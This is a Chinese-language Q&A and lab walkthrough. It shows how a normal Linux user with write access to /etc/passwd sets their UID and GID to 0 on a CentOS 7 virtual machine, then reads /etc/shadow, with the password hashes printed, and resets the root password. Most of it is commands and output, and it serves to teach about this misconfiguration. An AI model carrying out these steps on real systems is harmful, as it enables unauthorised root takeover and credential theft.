问题:我是一个普通用户zhangsan,假如我有对/etc/passwd文件的读写权限,我可以获得root权限从而实现对主机的完全控制吗
答:这是可行的。如果你有了对/etc/passwd文件的修改权限,那么你就可以修改你的UID和GID,而UID和GID是系统识别用户身份的唯一途径,一旦你将普通用户的UID和GID改成0,那么系统就会将你识别成root,你将拥有对系统的绝对访问权限。以下是实现方法和成功修改后权力展示。
一、实验环境
系统:CentOS 7
平台:VMware workstation 7.5
root密码:321
二、 实验步骤
(1)创建一个普通用户zhangsan,密码设为123。
[root@CentOS7 ~]# useradd zhangsan
[root@CentOS7 ~]# echo 123 | passwd --stdin zhangsan
使用id命令查看zhangsan用户,我们可以看到zhangsan的UID和GID是1000,属于普通用户。
[root@CentOS7 ~]# id zhangsan
uid=1000(zhangsan) gid=1000(zhangsan) groups=1000(zhangsan)
使用该用户查看密码文件,被拒绝,因为/etc/shadow文件不允许任何人查看(除了root)
[zhangsan@CentOS7 ~]$ cat /etc/shadow
cat: /etc/shadow: Permission denied
使用该用户创建一个文件,文件的所有者和所属组都是zhangsan(普通用户)。
[zhangsan@CentOS7 ~]$ touch 1.txt
[zhangsan@CentOS7 ~]$ ls -l
总用量 0
-rw-rw-r-- 1 zhangsan zhangsan 0 9月 5 06:39 1.txt
(2)现在我们修改/etc/passwd文件,让zhangsan用户的UID和GID都是0。
vim /etc/passwd
原来:
zhangsan:x:1000:1000::/home/zhangsan:/bin/bash
现在:
zhangsan:x:0:0::/home/zhangsan:/bin/bash
使用id命令查看zhangsan用户,我们看到属主和所属组都是root(0)。
[zhangsan@CentOS7 ~]$ id zhangsan
uid=0(root) gid=0(root) groups=0(root)
使用该用户查看密码文件/etc/shadow,(注意要重新登录刷新bash环境才生效)我们发现居然可以查看密码文件,并且我们使用zhangsan@localhost他会自动识别成root用户,密码却是zhangsan的密码。
[root@CentOS7 ~]# ssh zhangsan@localhost
zhangsan@localhost's password:
Last login: Thu Sep 5 06:53:44 2024 from 192.168.1.1
[root@CentOS7 ~]# cat /etc/shadow
root:$6$cL4.FRaN4cD1LkpD$TT5x8JgPHNCyb6cWawsGPrbJYFTncJtU6zs47AYTP4Z3SyqF0TzlR2q6laHRhLU6fxlk6Fxx1fSXiYJ/47JsA1:19970:0:99999:7:::
bin:*:18700:0:99999:7:::
daemon:*:18700:0:99999:7:::
adm:*:18700:0:99999:7:::
lp:*:18700:0:99999:7:::
sync:*:18700:0:99999:7:::
shutdown:*:18700:0:99999:7:::
halt:*:18700:0:99999:7:::
mail:*:18700:0:99999:7:::
operator:*:18700:0:99999:7:::
games:*:18700:0:99999:7:::
ftp:*:18700:0:99999:7:::
nobody:*:18700:0:99999:7:::
dbus:!!:19787::::::
systemd-coredump:!!:19787::::::
systemd-resolve:!!:19787::::::
tss:!!:19787::::::
polkitd:!!:19787::::::
unbound:!!:19787::::::
sssd:!!:19787::::::
sshd:!!:19787::::::
rpc:!!:19866:0:99999:7:::
rpcuser:!!:19866::::::
test:$6$EMsuVH6iHvSxosws$mC1IW0154wzGgZO2TcDDZEqOm8J8JldISSKOktWFZ/K0KbK8H6XZAjvoSjqxKgVSfczz0gzudhZJXt2FmBlFF.:19962:0:99999:7:::
zhangsan:$6$furkMmaUUpUp/.ls$aoTaqHPBBOP54uFGZzsisXn4qoOgCRHZ3iZ5Yigl011gEZZ2/ZhXBABkVdXlwzV2MQfasGP3l0oqjgI8a9qkH0:19970:0:99999:7:::
使用该用户创建一个文件,我们发现他的所有者和所属组都是root (0)。
[root@CentOS7 ~]# touch 2.txt
[root@CentOS7 ~]# ls -l
总用量 0
-rw-rw-r-- 1 1000 zhangsan 0 9月 5 06:39 1.txt
-rw-r--r-- 1 root root 0 9月 5 07:00 2.txt
查看家目录,我们发现家目录没有变,任然是/home/zhangsan。这和真正的root用户还是有一点区别。
[root@CentOS7 ~]# cd
[root@CentOS7 ~]# pwd
/home/zhangsan
使用该伪root用户修改真正root用户密码,我们发现成功了。
[root@CentOS7 ~]# echo 123 | passwd --stdin root
更改用户 root 的密码 。
passwd:所有的身份验证令牌已经成功更新。
[root@CentOS7 ~]#